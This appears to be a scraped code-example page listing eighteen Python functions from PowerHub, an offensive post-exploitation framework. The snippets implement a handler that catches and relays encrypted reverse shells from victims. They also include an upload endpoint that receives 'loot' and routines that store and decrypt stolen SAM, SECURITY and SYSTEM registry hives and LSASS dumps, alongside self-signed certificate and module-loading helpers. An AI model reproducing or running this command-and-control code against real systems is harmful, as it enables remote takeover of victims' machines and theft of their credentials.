Beispiel #1
0
def create_self_signed_cert(
    hostname,
    cert_file,
    key_file,
):

    key = rsa.generate_private_key(public_exponent=65537,
                                   key_size=2048,
                                   backend=default_backend())
    subject = x509.Name([
        x509.NameAttribute(x509.NameOID.ORGANIZATION_NAME, "PowerHub"),
        x509.NameAttribute(x509.NameOID.COMMON_NAME, hostname)
    ])
    hash_algo = hashes.SHA256()
    cert = x509.CertificateBuilder().subject_name(subject).issuer_name(
        subject).public_key(key.public_key()).serial_number(
            x509.random_serial_number()).add_extension(
                x509.BasicConstraints(ca=True, path_length=None),
                critical=True).not_valid_before(
                    datetime.datetime.utcnow()).not_valid_after(
                        datetime.datetime.utcnow() +
                        datetime.timedelta(days=365)).sign(
                            key, hash_algo, default_backend())

    log.info("Generated a self-signed certifiate for '%s' with SHA-1 "
             "fingerprint: %s" % (hostname, cert.fingerprint(hash_algo).hex()))

    with open(cert_file, "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open(key_file, "wb") as f:
        f.write(
            key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()))
Beispiel #2
0
 def read_shell_packet(self, s):
     """Deserialize byte string and instantiate ShellPacket"""
     header = s.recv(4, socket.MSG_PEEK)
     if not header:
         return None
     if s == self.rsock:
         header = encrypt(header, self.key)
     packet_length = struct.unpack('<i', header)[0]
     body = b''
     while len(body) < packet_length:
         body += s.recv(packet_length - len(body))
     if s == self.rsock:
         body = encrypt(body, self.key)
     p = ShellPacket(body)
     if p['msg_type'] == "PONG":
         log.debug("%s - Pong" % (self.details["id"]))
     elif p['msg_type'] == "KILL" and p['data'] == "confirm":
         log.info("%s - Shell has died" % (self.details["id"]))
         self.active = False
         self.unset_lsock()
         return p
     self.append_to_log(p)
     if s == self.rsock:
         sender = "reverse shell"
         self.t_sign_of_life = dt.now()
         if self.lsock:
             self.deliver(p, self.lsock)
     else:
         sender = "local shell"
         self.deliver(p, self.rsock)
     host, port = s.getpeername()
     log.debug("%s - %s - From %s: %s" %
               (host, self.details["id"] if "id" in self.details else "?",
                sender, p))
     return p
Beispiel #3
0
def create_self_signed_cert(
    hostname,
    cert_file,
    key_file,
):
    # create a key pair
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, 2048)

    # create a self-signed cert
    cert = crypto.X509()
    cert.get_subject().O = "PowerHub"  # noqa
    cert.get_subject().CN = hostname
    cert.set_serial_number(random.randint(1, 10000))
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(k)
    cert.sign(k, 'sha256')
    log.info("Generated a self-signed certifiate for '%s' with SHA-1 "
             "fingerprint: %s" % (hostname, cert.digest("sha1").decode()))

    open(cert_file,
         "bw+").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
    open(key_file, "bw+").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
Beispiel #4
0
def upload():
    """Upload one or more files"""
    file_list = request.files.getlist("file[]")
    is_from_script = "script" in request.args
    loot = "loot" in request.args and request.args["loot"]
    for file in file_list:
        if file.filename == '':
            return redirect(request.url)
        if file:
            if loot:
                loot_id = request.args["loot"]
                log.info("Loot received - %s" % loot_id)
                save_loot(file, loot_id, encrypted=is_from_script)
            else:
                log.info("File received - %s" % file.filename)
                save_file(file, encrypted=is_from_script)
    if loot:
        decrypt_hive(loot_id)
        push_notification("reload", "Update Loot", "")
    else:
        push_notification("reload", "Update Fileexchange", "")
    if is_from_script:
        return ('OK', 200)
    else:
        return redirect('/fileexchange')
Beispiel #5
0
def run_proxy():
    proxy = DynamicProxy()
    site = Site(proxy)
    reactor.listenTCP(ph_app.args.LPORT, site, interface=ph_app.args.LHOST)

    if not ph_app.args.SSL_KEY or not ph_app.args.SSL_CERT:
        ph_app.args.SSL_CERT, ph_app.args.SSL_KEY = \
                get_self_signed_cert(ph_app.args.URI_HOST)
    pem_data = open(ph_app.args.SSL_CERT, "br").read()
    cert = x509.load_pem_x509_certificate(pem_data, default_backend())
    global FINGERPRINT
    FINGERPRINT = cert.fingerprint(hashes.SHA1()).hex()
    reactor.listenSSL(
        ph_app.args.SSL_PORT,
        site,
        ssl.DefaultOpenSSLContextFactory(
            ph_app.args.SSL_KEY.encode(),
            ph_app.args.SSL_CERT.encode(),
        ),
        interface=ph_app.args.LHOST,
    )
    log.info("Web interface accessible on http://%s:%d and https://%s:%d" % (
        ph_app.args.URI_HOST,
        ph_app.args.LPORT,
        ph_app.args.URI_HOST,
        ph_app.args.SSL_PORT,
    ))
    reactor.run()
Beispiel #6
0
def process_file(file, loot_id, is_from_script, remote_addr):
    """Save the file or the loot and return a message for push notification"""
    if loot_id:
        log.info("Loot received - %s" % loot_id)
        try:
            save_loot(file, loot_id, encrypted=is_from_script)
            decrypt_hive(loot_id)
            msg = {
                'title':
                "Loot received!",
                'body':
                "%s from %s has been stored." % (
                    file.filename,
                    remote_addr,
                ),
                'category':
                "success",
            }
        except Exception as e:
            msg = {
                'title': "Error while processing loot",
                'body': str(e),
                'category': "danger",
            }
            log.exception(e)
    else:
        log.info("File received - %s" % file.filename)
        save_file(file, encrypted=is_from_script)
        msg = {}
    return msg
Beispiel #7
0
 def run(self):
     while self.active:
         r, w, _ = select.select(self.read_socks, self.write_socks, [], 5)
         for s in r:
             if s == self.signal_pipe[0]:
                 # this was only a signal to interrupt the select block,
                 # do nothing
                 os.read(s, 1024)
             else:
                 try:
                     if not self.read_shell_packet(s):
                         if s == self.lsock:
                             self.unset_lsock()
                             break
                         elif s == self.rsock:
                             log.info("Connection to reverse shell lost")
                             self.unset_lsock()
                             break
                 except ConnectionResetError:
                     return None
                 except Exception:
                     log.exception(
                         "Exception caught while reading shell packets")
                     break
         try:
             if not w:
                 self.ping(self.rsock)
             for s in w:
                 for p in self.queue[s]:
                     self.write_shell_packet(p, s)
                 self.queue[s] = []
                 self.write_socks.remove(s)
         except Exception:
             log.exception("Exception caught while writing shell packets")
             break
Beispiel #8
0
 def __init__(self, sock):
     super(ReverseShell, self).__init__()
     self.key = KEY
     self.details = {}
     self.rsock = sock  # the remote socket connected to the victim
     self.lsock = None  # the local socket for shell interaction
     self.log = []
     self.active = False
     if self.get_shell_hello():
         self.created = dt(*eut.parsedate(self.details["created"])[:6])
         host, port = sock.getpeername()
         self.details["peer_host"] = host
         self.details["peer_port"] = port
         self.description = ("[%(id)s] %(user)s@%(hostname)s "
                             "(%(peer_host)s:%(peer_port)d)") % self.details
         self.read_socks = [self.rsock, self.signal_pipe[0]]
         self.write_socks = []
         self.queue = {
             self.rsock: []
         }
         self.active = True
         log.info("%s - %s - Reverse Shell caught" % (
                     host,
                     self.details["id"],
                     ))
Beispiel #9
0
def import_modules():
    """Import all modules and returns them as a list"""
    result = []
    log.info("Importing modules...")
    for dirName, subdirList, fileList in os.walk(MOD_DIR, followlinks=True):
        for fname in fileList:
            if fname.endswith('.tests.ps1'):
                # This is done because PowerSploit contains tests that we
                # don't want
                continue
            _, ext = os.path.splitext(fname)
            if ext.lower() not in ['.exe', '.ps1']:
                continue
            path = os.path.join(dirName, fname)
            with open(path, "br") as f:
                buffer = f.read(2048)
                file_type = magic.from_buffer(buffer)
                mime = magic.from_buffer(buffer, mime=True)
                mod_type = get_module_type(fname, file_type, mime)
                if not mod_type:
                    continue
            log.debug("Imported module (%s): %s" % (path, mod_type))
            module = Module(
                path.replace(os.path.join(BASE_DIR, 'modules'), ''),
                path,
                mod_type,
                file_type,
            )
            result.append(module)

    for i, m in enumerate(result):
        m.n = i

    return result
Beispiel #10
0
def add_hive(loot_id, hive_type, filename):
    loot = get_loot_entry(loot_id)
    if hive_type == "SAM":
        loot.sam_file = filename
    elif hive_type == "SECURITY":
        loot.security_file = filename
    elif hive_type == "SYSTEM":
        loot.system_file = filename
    elif hive_type == "SOFTWARE":
        loot.software_file = filename
    _db.session.commit()
    log.info("Hive entry added - %s" % loot_id)
Beispiel #11
0
def get_self_signed_cert(hostname):
    file_basename = os.path.join(CERT_DIR, "cert_%s." % hostname)
    cert_file = file_basename + 'cert'
    key_file = file_basename + 'key'
    # check if one already exists
    if not (os.path.isfile(cert_file) and os.path.isfile(key_file)):

        log.info("No SSL certificate found, generating a self-signed one...")
        create_self_signed_cert(hostname, cert_file, key_file)
    else:
        f = open(cert_file, "br").read()
        cert = crypto.load_certificate(crypto.FILETYPE_PEM, f)
        log.info("Loaded SSL certificate for '%s' with SHA1 fingerprint: %s" %
                 (hostname, cert.digest("sha1").decode()))
    return (cert_file, key_file)
Beispiel #12
0
def get_self_signed_cert(hostname):
    file_basename = os.path.join(CERT_DIR, "cert_%s." % hostname)
    cert_file = file_basename + 'cert'
    key_file = file_basename + 'key'
    # check if one already exists
    if not (os.path.isfile(cert_file) and os.path.isfile(key_file)):

        log.info("No SSL certificate found, generating a self-signed one...")
        create_self_signed_cert(hostname, cert_file, key_file)
    pem_data = open(cert_file, "br").read()
    cert = x509.load_pem_x509_certificate(pem_data, default_backend())
    hash_algo = hashes.SHA256()
    log.info("Loaded SSL certificate for '%s' with SHA1 fingerprint: %s" %
             (hostname, cert.fingerprint(hash_algo).hex()))
    return (cert_file, key_file)
Beispiel #13
0
def add_sysinfo(loot_id, filename):
    """Convert sysinfo in CSV to JSON and store in DB"""

    loot = get_loot_entry(loot_id)
    with open(filename, 'r') as f:
        sysinfo = f.read()
    if not sysinfo:
        return None
    f = StringIO(sysinfo)
    reader = csv.reader(f, delimiter=',')
    result = []
    for row in reader:
        result.append(row)
    if not result:
        return None
    result = dict(zip(result[0], result[1]))
    result['IPs'] = result['IPs'].split()
    result = json.dumps(result)
    loot.sysinfo = result
    _db.session.commit()
    log.info("Sysinfo entry added - %s" % loot_id)
Beispiel #14
0
    def run_provider(self, host='127.0.0.1', port=18157):
        """Provides a service where you can interact with caught shells"""

        self.lsock.bind((host, port))
        self.lsock.listen(128)
        while True:
            connection, addr = self.lsock.accept()
            r, _, _ = select.select([connection], [], [])
            id = connection.recv(8).decode()
            if not id:
                break
            peer_shell = [s for s in self.shells if s.details["id"] == id]
            if id == "g" * 8 and self.shells:
                peer_shell = [self.shells[-1]]
            if not peer_shell:
                log.error("No shell with ID %s found" % id)
                connection.close()
                continue
            peer_shell[0].set_lsock(connection)
            log.info("%s - %s - Connected local and reverse shell" % (
                addr[0],
                peer_shell[0].details["id"],
            ))
Beispiel #15
0
def signal_handler(sig, frame):
    log.info("CTRL-C caught, exiting...")
    powerhub.reverseproxy.reactor.stop()
Beispiel #16
0
from functools import wraps

from flask import request, Response

from powerhub.args import args
from powerhub.tools import generate_random_key
from powerhub.logging import log

if not (args.AUTH or args.NOAUTH):
    log.info("You specified neither '--no-auth' nor '--auth <user>:<pass>'. "
             "A password will be generated for your protection.")
    args.AUTH = "powerhub:" + generate_random_key(10)
    log.info("The credentials for basic authentication are '%s' "
             "(without quotes)." % args.AUTH)


def check_auth(username, password):
    """This function is called to check if a username /
    password combination is valid.
    """
    if args.AUTH:
        user, pwd = args.AUTH.split(':')
        return username == user and password == pwd
    else:
        return True


def authenticate():
    """Sends a 401 response that enables basic auth"""
    return Response(
        'Could not verify your access level for that URL.\n'
Beispiel #17
0
 def kill(self):
     log.info("%s - Killing shell" % (self.details["id"]))
     p = ShellPacket({"msg_type": "KILL", "data": ""}, T_DICT)
     self.write_shell_packet(p, self.rsock)
Beispiel #18
0
def add_lsass(loot_id, lsass, lsass_file):
    loot = get_loot_entry(loot_id)
    loot.lsass = lsass
    loot.lsass_file = lsass_file
    _db.session.commit()
    log.info("LSASS entry added - %s" % loot_id)